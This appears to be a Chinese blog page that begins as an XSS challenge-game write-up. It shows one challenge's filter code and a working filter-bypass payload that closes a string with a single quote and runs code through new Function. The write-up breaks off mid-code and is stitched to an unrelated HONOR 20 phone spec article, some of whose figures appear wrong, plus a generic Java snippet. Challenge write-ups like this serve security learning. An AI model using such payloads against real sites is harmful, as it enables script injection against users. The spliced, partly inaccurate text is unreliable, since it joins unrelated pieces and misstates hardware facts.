【漏洞挖掘】——30、XSS闯关游戏录(下)

本文详细解析了一系列XSS闯关游戏,包括利用单引号闭合语句、双引号绕过过滤、正则编码绕过、匿名函数与属性利用等技巧,逐步揭秘XSS漏洞挖掘的方法。

Well
题目源码
function escape(s) {
  http://www.avlidienbrunn.se/xsschallenge/

  s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
  return "<script> var email = '" + s + "'; <\/script>";
}
源码分析

代码过滤了\r、\n、\u2028、\u2029、\、;、,、(、)、[、]和<。 单引号没被过滤,可以闭合前面的语句,通过定义函数来执行代码,在Payload中我们借助了new Function语法

解题过程

payload:

'+new Function `a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`+'

No
题目源码
// submitted by Stephen Leppik

function e
### HONOR 20 手机 参数 配置 功能 HONOR 20 是荣耀品牌在2019年推出的一款中高端智能手机,主打性价比和拍照功能。以下是关于 HONOR 20 的详细参数和功能介绍: #### 核心配置 HONOR 20 搭载了华为自研的麒麟 810 处理器,采用先进的 7nm 制程工艺,具备出色的性能和能效表现。该处理器在当时属于中高端定位,能够流畅运行主流应用和游戏[^3]。 - **内存与存储**:HONOR 20 提供多个版本供用户选择,包括 6GB+128GB、8GB+128GB 和 8GB+256GB,支持通过 microSD 卡扩展存储空间[^3]。 - **电池与充电**:内置 4000mAh 大容量电池,支持 20W 快充技术,能够在短时间内快速充电,满足日常使用需求[^3]。 #### 屏幕与外观设计 HONOR 20 采用了一块 6.26 英寸的 LCD 水滴屏,分辨率为 2340×1080 像素,屏占比高达 91.5%,整体视觉效果较为出色。机身采用玻璃背板设计,提供多种时尚配色,包括幻影蓝、幻夜黑和冰岛白等[^3]。 #### 摄像头功能 HONOR 20 在拍照方面表现出色,后置四摄组合,具体配置如下: - **主摄**:4800 万像素,f/1.8 光圈,支持自动对焦 - **超广角镜头**:800 万像素,f/2.4 光圈 - **微距镜头**:200 万像素,f/2.4 光圈 - **景深镜头**:200 万像素,f/2.4 光圈 前置摄像头为 3200 万像素,f/2.0 光圈,支持 AI 美颜、人脸识别等功能,满足用户自拍需求[^3]。 #### 网络与连接 HONOR 20 支持双卡双待,兼容 4G LTE 网络,同时配备 Wi-Fi、蓝牙 5.0、GPS、NFC 等常用连接功能,提升用户的使用体验[^3]。 #### 操作系统与软件功能 HONOR 20 出厂搭载基于 Android 9.0 深度定制的 Magic UI 2.1 系统,提供丰富的智能功能,如语音助手、手势操作、智能分屏等,提升用户的操作效率[^3]。 #### 其他特色功能 - **散热系统**:采用石墨烯散热技术,有效降低手机在高负载下的温度,提升游戏体验。 - **音频体验**:支持 3.5mm 耳机接口,保留传统音频输出方式,方便用户使用有线耳机。 ### 总结 HONOR 20 凭借其出色的性价比、优秀的拍照能力和稳定的性能表现,在当时获得了不少用户的青睐。无论是日常使用还是拍照记,HONOR 20 都能够满足大部分用户的需求。 ```java // 示例代码:获取设备基本信息(如需在 Android 应用中获取设备信息) import android.os.Build; import android.util.Log; public class DeviceInfo { public static void logDeviceInfo() { Log.d("DeviceInfo", "Model: " + Build.MODEL); Log.d("DeviceInfo", "Manufacturer: " + Build.MANUFACTURER); Log.d("DeviceInfo", "Android Version: " + Build.VERSION.RELEASE); Log.d("DeviceInfo", "SDK Version: " + Build.VERSION.SDK_INT); } } ```
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值